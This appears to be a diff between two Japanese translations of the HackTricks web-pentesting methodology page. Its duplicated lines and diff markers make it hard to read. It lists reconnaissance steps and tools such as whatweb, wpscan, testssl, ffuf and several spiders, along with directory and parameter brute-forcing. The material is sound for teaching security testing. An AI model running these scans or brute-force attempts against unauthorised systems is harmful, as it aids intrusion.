<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>**でAWSハッキングをゼロからヒーローまで学ぶ**</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**</strong>を使用して、**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -43,36 +43,36 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## 方法論の要約
|
||||
|
||||
> この方法論では、ドメイン(またはサブドメイン)を攻撃すると仮定します。したがって、発見した各ドメイン、サブドメイン、またはスコープ内の未確定のWebサーバーにこの方法論を適用する必要があります。
|
||||
> この方法論では、ドメイン(またはサブドメイン)を攻撃すると仮定します。したがって、発見した各ドメイン、サブドメイン、またはスコープ内の未確定のWebサーバーに対してこの方法論を適用する必要があります。
|
||||
|
||||
* [ ] 最初にWebサーバーが使用している**技術**を**特定**します。技術を正常に特定できれば、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] 最初に、Webサーバーで使用されている**技術**を**識別**します。技術を正常に識別できれば、テストの残りの部分で考慮すべき**トリック**を探します。
|
||||
* [ ] 技術のバージョンに**既知の脆弱性**はありますか?
|
||||
* [ ] **よく知られた技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
|
||||
* [ ] 実行する**専門のスキャナー**はありますか(例: wpscan)?
|
||||
* [ ] **一般的な目的のスキャナー**を起動します。何か見つかるか、または興味深い情報が見つかるかどうかはわかりません。
|
||||
* [ ] 既知の**技術**を使用していますか?より多くの情報を抽出するための**便利なトリック**はありますか?
|
||||
* [ ] 実行する**専門スキャナー**はありますか(例: wpscan)?
|
||||
* [ ] **一般的な目的のスキャナー**を実行します。何か見つかるか、または興味深い情報が見つかるかどうかはわかりません。
|
||||
* [ ] **初期チェック**から始めます: **robots**、**sitemap**、**404**エラー、**SSL/TLSスキャン**(HTTPSの場合)。
|
||||
* [ ] Webページを**スパイダリング**します: すべての可能な**ファイル、フォルダ**、および**使用されているパラメータ**を**見つける**時です。また、**特別な発見**をチェックします。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見されるたびに、それをスパイダリングする必要があります。_
|
||||
* [ ] **ディレクトリのブルートフォース**: 発見したすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見されるたびに、それをブルートフォースする必要があります。_
|
||||
* [ ] **バックアップの確認**: 一般的なバックアップ拡張子を追加して、**発見したファイルのバックアップ**を見つけることができるかテストします。
|
||||
* [ ] Webページを**スパイダリング**開始します: すべての可能な**ファイル、フォルダ**、および**使用されているパラメータ**を見つける時です。また、**特別な発見**をチェックします。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、そのディレクトリをスパイダリングする必要があります。_
|
||||
* [ ] **ディレクトリのブルートフォース**: 発見されたすべてのフォルダをブルートフォースして、新しい**ファイル**と**ディレクトリ**を探します。
|
||||
* [ ] _ブルートフォースやスパイダリング中に新しいディレクトリが発見された場合は、そのディレクトリをブルートフォースする必要があります。_
|
||||
* [ ] **バックアップの確認**: 一般的なバックアップ拡張子を追加して、**発見されたファイルのバックアップ**を見つけることができるかテストします。
|
||||
* [ ] **パラメータのブルートフォース**: **隠されたパラメータ**を見つけようとします。
|
||||
* [ ] すべての**ユーザー入力**を受け入れる**可能性のあるエンドポイント**を**特定**したら、それに関連する**脆弱性**をチェックします。
|
||||
* [ ] すべての**ユーザー入力**を受け入れる**可能性のあるエンドポイント**を**識別**したら、それに関連する**脆弱性**をチェックします。
|
||||
* [ ] [このチェックリストに従います](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## サーバーバージョン(脆弱性あり?)
|
||||
|
||||
### 特定
|
||||
### 識別
|
||||
|
||||
実行されているサーバーの**バージョン**に**既知の脆弱性**があるかどうかを確認します。\
|
||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**特定**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、または[**https://builtwith.com/**](https://builtwith.com)**のツールも役立ちます。**
|
||||
**HTTPヘッダーとレスポンスのクッキー**は、使用されている**技術**や**バージョン**を**識別**するのに非常に役立ちます。**Nmapスキャン**はサーバーバージョンを特定できますが、[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)**、または[**https://builtwith.com/**](https://builtwith.com)**のツールも役立ちます。
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
webtech -u <URL>
|
||||
webanalyze -host https://google.com -crawl 2
|
||||
```
|
||||
**Webアプリケーションの脆弱性** **バージョン**を検索
|
||||
**Webアプリケーションの脆弱性** **バージョン**を検索します
|
||||
|
||||
### **WAFがあるかどうかを確認**
|
||||
|
||||
|
@ -116,19 +116,19 @@ webanalyze -host https://google.com -crawl 2
|
|||
* [**Wordpress**](wordpress.md)
|
||||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_**同じドメイン**が異なる**技術**を異なる**ポート**、**フォルダ**、**サブドメイン**で使用している可能性があることに注意してください。_\
|
||||
Webアプリケーションが以前にリストされた**技術/プラットフォーム**または**その他**を使用している場合は、**インターネットで**新しいトリックを**検索**してください(そして私に知らせてください!)。
|
||||
_**同じドメイン**が異なる**ポート**、**フォルダ**、**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\
|
||||
Webアプリケーションが**以前にリストされた**または**その他の**よく知られた**技術/プラットフォーム**を使用している場合は、**インターネットで**新しいトリックを**検索**してください(そして私に知らせてください!)。
|
||||
|
||||
### ソースコードレビュー
|
||||
|
||||
アプリケーションの**ソースコード**が**github**で利用可能な場合、**アプリケーションのホワイトボックステスト**を実施するだけでなく、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
|
||||
アプリケーションの**ソースコード**が**github**で利用可能な場合、**アプリケーションのホワイトボックステスト**を実施するだけでなく、現在の**ブラックボックステスト**に役立つ**いくつかの情報**があります:
|
||||
|
||||
* **変更ログまたはReadmeまたはバージョン**情報がWeb経由でアクセス可能な**ファイル**があるか?
|
||||
* **資格情報**はどこに保存されていますか?(ユーザー名やパスワードのある)アクセス可能な**ファイル**はありますか?
|
||||
* **変更ログ**または**Readme**または**バージョン**情報が**Web経由でアクセス可能**なファイルがありますか?
|
||||
* **資格情報**はどこに保存されていますか?(ユーザー名やパスワードのある)**ファイル**はありますか?
|
||||
* **パスワード**は**平文**、**暗号化**されているか、どの**ハッシュアルゴリズム**が使用されていますか?
|
||||
* 何かを暗号化するための**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
|
||||
* これらのファイルに**アクセス**して**何かを悪用**できますか?
|
||||
* githubの**興味深い情報**(解決済みおよび未解決の問題)や**コミット履歴**(古いコミットに**導入されたパスワード**など)には何かありますか?
|
||||
* これらのファイルに**アクセス**して**脆弱性を悪用**できますか?
|
||||
* githubの**興味深い情報**(解決済みおよび未解決の問題)がありますか?または**コミット履歴**(古いコミットに**導入されたパスワード**など)に?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -150,24 +150,24 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
```
|
||||
#### CMSスキャナー
|
||||
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。何か興味深いものが見つかるかもしれません:
|
||||
CMSが使用されている場合は、**スキャナーを実行**することを忘れないでください。おそらく興味深い情報が見つかるかもしれません:
|
||||
|
||||
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**、ColdFusion、WebLogic**、[**Tomcat**](tomcat/)**、Railo、Axis2、Glassfish**
|
||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md)、[**Drupal**](drupal.md)、**Joomla**、**vBulletin**のウェブサイトのセキュリティ問題をスキャンします(GUI)
|
||||
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)、[**Wordpress**](wordpress.md)、[**Drupal**](drupal.md)、PrestaShop、Opencart
|
||||
- **CMSMap**: [**(W)ordpress**](wordpress.md)、[**(J)oomla**](joomla.md)、[**(D)rupal**](drupal.md)、または[**(M)oodle**](moodle.md)
|
||||
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)、[**Joomla**](joomla.md)、[**Moodle**](moodle.md)、Silverstripe、[**Wordpress**](wordpress.md)
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** ウェブサイトのセキュリティ問題をスキャンします。(GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **または** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> この時点では、クライアントが使用しているWebサーバーに関する情報がすでにいくつかあるはずです(データが提供されている場合)、およびテスト中に心に留めておくべきいくつかのトリックがあります。運が良ければ、CMSを見つけてスキャナーを実行しているかもしれません。
|
||||
> この時点で、クライアントが使用しているWebサーバーに関する情報がすでにいくつかあるはずです(データが提供されている場合)。テスト中に心に留めておくべきいくつかのトリックもあります。運が良ければ、CMSを見つけてスキャナーを実行しているかもしれません。
|
||||
|
||||
## ステップバイステップのWebアプリケーションの発見
|
||||
|
||||
> この時点から、Webアプリケーションとのやり取りを開始します。
|
||||
> この時点から、Webアプリケーションとやり取りを開始します。
|
||||
|
||||
### 初期チェック
|
||||
|
||||
|
@ -178,30 +178,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
* /crossdomain.xml
|
||||
* /clientaccesspolicy.xml
|
||||
* /.well-known/
|
||||
* メインおよびセカンダリページのコメントもチェックしてください。
|
||||
* メインとセカンダリページのコメントもチェックしてください。
|
||||
|
||||
**エラーを強制する**
|
||||
|
||||
Webサーバーは、奇妙なデータが送信されると予期しない動作をする可能性があります。これにより、**脆弱性**が公開されたり、**機密情報**が漏洩したりする可能性があります。
|
||||
Webサーバーは、奇妙なデータが送信されると**予期せぬ動作**をする場合があります。これにより**脆弱性**が公開されたり、**機密情報**が漏洩する可能性があります。
|
||||
|
||||
* /whatever_fake.php (.aspx、.html、など) のような**偽のページ**にアクセス
|
||||
* **クッキー値**および**パラメータ**値に "\[]", "]]", および "\[\[" を追加してエラーを発生させる
|
||||
* URLの**末尾**に **`/~randomthing/%s`** として入力してエラーを生成する
|
||||
* PATCH、DEBUGなどの**異なるHTTP動詞**を試してみる、またはFAKEのような誤ったものを試す
|
||||
* /whatever\_fake.php (.aspx、.html、など)のような**偽のページ**にアクセス
|
||||
* **クッキー値**や**パラメータ**値に"\[]"、"]]、"\[\["を追加してエラーを発生させる
|
||||
* URLの**末尾**に**`/~randomthing/%s`**として入力してエラーを生成する
|
||||
* PATCH、DEBUGなどの**異なるHTTP動詞**を試してみる
|
||||
|
||||
#### **ファイルのアップロードが可能か確認する (**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
|
||||
#### **ファイルをアップロードできるか確認する(**[**PUT動詞、WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
**WebDav**が**有効**になっていることがわかった場合でも、ルートフォルダに**ファイルをアップロードする権限が不足している**場合は、次のようにしてみてください:
|
||||
**WebDav**が**有効**になっていることがわかった場合、ルートフォルダに**ファイルをアップロードする権限が不足している**場合は、次のようにしてみてください:
|
||||
|
||||
* 資格情報を**ブルートフォース**で破る
|
||||
* WebDavを使用してWebページ内の**他のフォルダ**にファイルをアップロードする。他のフォルダにファイルをアップロードする権限があるかもしれません。
|
||||
* WebDavを使用してWebページ内の**他のフォルダ**にファイルをアップロードします。他のフォルダにファイルをアップロードする権限があるかもしれません。
|
||||
|
||||
### **SSL/TLSの脆弱性**
|
||||
### **SSL/TLS脆弱性**
|
||||
|
||||
* アプリケーションが**HTTPSの使用を強制していない**場合、MitMに**脆弱**です
|
||||
* アプリケーションがHTTPを使用して**機密データ(パスワード)を送信**している場合、高い脆弱性です。
|
||||
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられないでしょう)、および[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします:
|
||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックします(Bug Bountyプログラムではおそらくこの種の脆弱性は受け入れられません)。また、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再チェックします:
|
||||
```bash
|
||||
./testssl.sh [--htmlfile] 10.10.10.10:443
|
||||
#Use the --htmlfile to save the output inside an htmlfile also
|
||||
|
@ -219,30 +219,30 @@ SSL/TLSの脆弱性に関する情報:
|
|||
|
||||
ウェブ内である種の**スパイダー**を起動します。スパイダーの目標は、**テストされたアプリケーションから可能な限り多くのパスを見つける**ことです。したがって、ウェブクローリングと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイルと外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)でのLinkFinder。
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTMLスパイダー、JSファイルとArchive.orgでのLinkFinderを備えています。
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、また「ジューシーファイル」を示します。
|
||||
* [**evine**](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。また、Archive.orgで検索します。
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、便利です。ホストとパスを示すだけで、megは各ホストの各パスを取得してレスポンスを保存します。
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を備えたHTMLスパイダー。ただし、メンテナンスされていないようで、プリコンパイルされたバージョンが古く、現在のコードはコンパイルされません。
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinder、外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)を使用
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTMLスパイダー、JSファイルのLinkFinder、外部ソースとしてArchive.orgを使用
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、また「ジューシーファイル」を示します
|
||||
* [**evine**](https://github.com/saeeddhqan/evine) (go): インタラクティブCLI HTMLスパイダー。また、Archive.orgで検索します
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、便利です。ホストとパスを示すだけで、megは各ホストの各パスを取得してレスポンスを保存します
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を備えたHTMLスパイダー。ただし、メンテナンスされていないようで、プリコンパイルされたバージョンが古く、現在のコードはコンパイルされません
|
||||
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダ(wayback、otx、commoncrawl)を使用するHTMLスパイダー
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけ、リストします。
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を備えたHTMLスパイダー。
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JSファイル内の新しいパスを検索できるJS美化機能を備えたHTMLスパイダー。また、[JSScanner](https://github.com/dark-warlord14/JSScanner)も見てみる価値があります。
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込みJavaScriptファイルからエンドポイントを抽出するためのツール。バグハンターやレッドチーム、情報セキュリティのニンジャに役立ちます。
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を指定すると、そのファイルから相対URLを抽出するための便利な正規表現を使用します。
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、複数のツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを出力します。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ検出ツール
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを指定すると、美化されたJSコードを取得します
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するために使用されるツールです。
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(waybackでレスポンスをダウンロードし、さらにリンクを探します)
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの記入によるクロールや、特定の正規表現を使用して機密情報を見つける。
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけ、リストします
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を備えたHTMLスパイダー
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JSファイル内の新しいパスを検索できるJSビューティファイ機能を備えたHTMLスパイダー。また、[JSScanner](https://github.com/dark-warlord14/JSScanner)も見てみる価値があります
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込みJavaScriptファイルからエンドポイントを抽出するためのツール。バグハンターやレッドチーマー、情報セキュリティの忍者に便利です
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を指定すると、そのファイルから相対URLを抽出するためのニフティな正規表現を使用します
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、複数のツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します
|
||||
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます
|
||||
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページの読み込みに使用されるすべてのURLを出力します
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのオプションを組み合わせたコンテンツ検出ツール
|
||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能
|
||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを指定すると、美しく整形されたJSコードを取得します
|
||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 指定されたターゲットのエンドポイントを発見するためのツール
|
||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machineからリンクを発見します(Wayback内の応答をダウンロードし、さらにリンクを探します)
|
||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームの記入によるクロールや、特定の正規表現を使用して機密情報を見つける
|
||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです
|
||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScriptソースコードからURL、パス、シークレットなどの興味深いデータを抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)
|
||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出して、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
|
||||
|
||||
### ディレクトリとファイルのブルートフォース
|
||||
|
@ -250,16 +250,16 @@ SSL/TLSの脆弱性に関する情報:
|
|||
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**をブルートフォースし、**スパイダリング**によって**発見された**すべてのディレクトリをブルートフォースします(これを再帰的に行い、使用されるワードリストの先頭に見つかったディレクトリの名前を追加します)。\
|
||||
ツール:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古い**(そして**遅い**)ですが機能します。自動署名証明書と再帰的検索を許可します。他のオプションと比較して遅すぎます。
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自動署名証明書は許可しませんが**再帰的検索を許可します。
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自動署名証明書を許可し、**再帰的**検索はありません。
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的検索をサポートします。**
|
||||
* **Dirb** / **Dirbuster** - Kaliに含まれていますが、**古い**(そして**遅い**)ですが機能します。自動署名証明書と再帰的検索を許可します。他のオプションと比較して遅すぎます
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自動署名証明書を許可しませんが**再帰的検索を許可します
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 自動署名証明書を許可し、**再帰的**検索はありません
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 速く、再帰的検索をサポートします**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- 速い: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではなく、見つかったURLのリストを削除するツールです。
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではなく、見つかったURLのリストを削除するツールです
|
||||
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのBurp履歴からディレクトリのリストを作成するためのBurp拡張機能
|
||||
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 重複機能を持つURLを削除します(jsのインポートに基づく)
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出し、使用するワードリストを選択するためにwapalyzerを使用します。
|
||||
* [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出し、使用するワードリストを選択するためにwapalyzerを使用します
|
||||
|
||||
**推奨される辞書:**
|
||||
|
||||
|
@ -284,22 +284,22 @@ _ブルートフォースやスパイダリング中に新しいディレクト
|
|||
|
||||
### 各ファイルでチェックすべきこと
|
||||
|
||||
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): HTML内のリンク切れを見つけ、乗っ取りの可能性があるものを特定します。
|
||||
* **ファイルのバックアップ**: すべての実行可能ファイル("_.php_"、"_.aspx_"など)のバックアップを探します。バックアップの一般的なバリエーションは次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) **を使用することもできます。**
|
||||
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **、**[**Param Miner**](https://github.com/PortSwigger/param-miner) **などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみてください。**
|
||||
* [**リンク切れチェッカー**](https://github.com/stevenvachon/broken-link-checker): ページ内のリンク切れを見つけ、乗っ取りの可能性があるものを特定します。
|
||||
* **ファイルのバックアップ**: すべての実行可能ファイルのバックアップを探し、(".php"、".aspx"など)のバックアップの一般的な変形を探します: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)を使用することもできます。
|
||||
* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能なWebファイルで隠されたパラメータを検索してみてください。**
|
||||
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
* _Param-minerの“params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
* _Assetnoteの“parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
* _nullenc0deの“params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
